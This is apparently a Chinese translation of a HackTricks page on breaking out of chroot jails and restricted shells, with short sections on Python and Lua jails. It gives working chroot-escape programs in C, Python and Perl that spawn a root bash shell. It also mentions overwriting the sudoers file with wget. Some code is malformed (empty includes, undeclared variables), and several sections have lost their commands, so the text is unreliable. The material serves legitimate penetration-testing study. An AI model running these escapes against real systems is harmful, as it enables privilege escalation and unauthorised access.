Escaping from Jails

从零开始学习AWS黑客攻击直至成为专家,通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

GTFOBins

https://gtfobins.github.io/ 搜索是否可以执行任何具有"Shell"属性的二进制文件

Chroot逃逸

来自wikipedia:Chroot机制不旨在防御有意篡改的特权root用户。在大多数系统上,chroot上下文不能正确堆叠,具有足够权限的chroot程序可以执行第二次chroot以逃脱。 通常这意味着要逃脱,你需要在chroot内部成为root。

Root + CWD

通常你不会在chroot监狱内找到chroot二进制文件,但你可以编译、上传并执行一个二进制文件:

C: break_chroot.c

```c #include #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }

</details>

<details>

<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")

```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); ```

Root + 已保存的文件描述符

C: break_chroot.c

```c #include #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir("tmpdir", 0755); dir_fd = open(".", O_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir_fd); close(dir_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }

修改 PATH

检查是否可以修改 PATH 环境变量

使用 vim

创建脚本

检查是否可以创建一个内容为 /bin/bash 的可执行文件

通过 SSH 获取 bash

如果您通过 ssh 访问,可以使用这个技巧来执行一个 bash shell:

声明

Wget

你可以覆盖例如sudoers文件

其他技巧

以下页面包含了关于逃离受限Linux shell的技巧:

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/ https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells https://gtfobins.github.io 以下页面也可能有趣:

Python 监狱

关于逃离Python监狱的技巧,请参阅以下页面:

Lua 监狱

在此页面中,你可以找到在Lua中可以访问的全局函数:https://www.gammon.com.au/scripts/doc.php?general=lua_base

使用命令执行的Eval:

一些不使用点调用库函数的技巧:

列举库的函数:

请注意,每次在不同的lua环境中执行前面的单行命令时,函数的顺序都会改变。因此,如果您需要执行一个特定的函数,您可以通过加载不同的lua环境并调用库的第一个函数来执行暴力破解攻击:

获取交互式lua shell:如果你处于一个受限的lua shell中,你可以通过以下方式调用来获取一个新的lua shell(希望是无限制的):

参考资料

最后更新于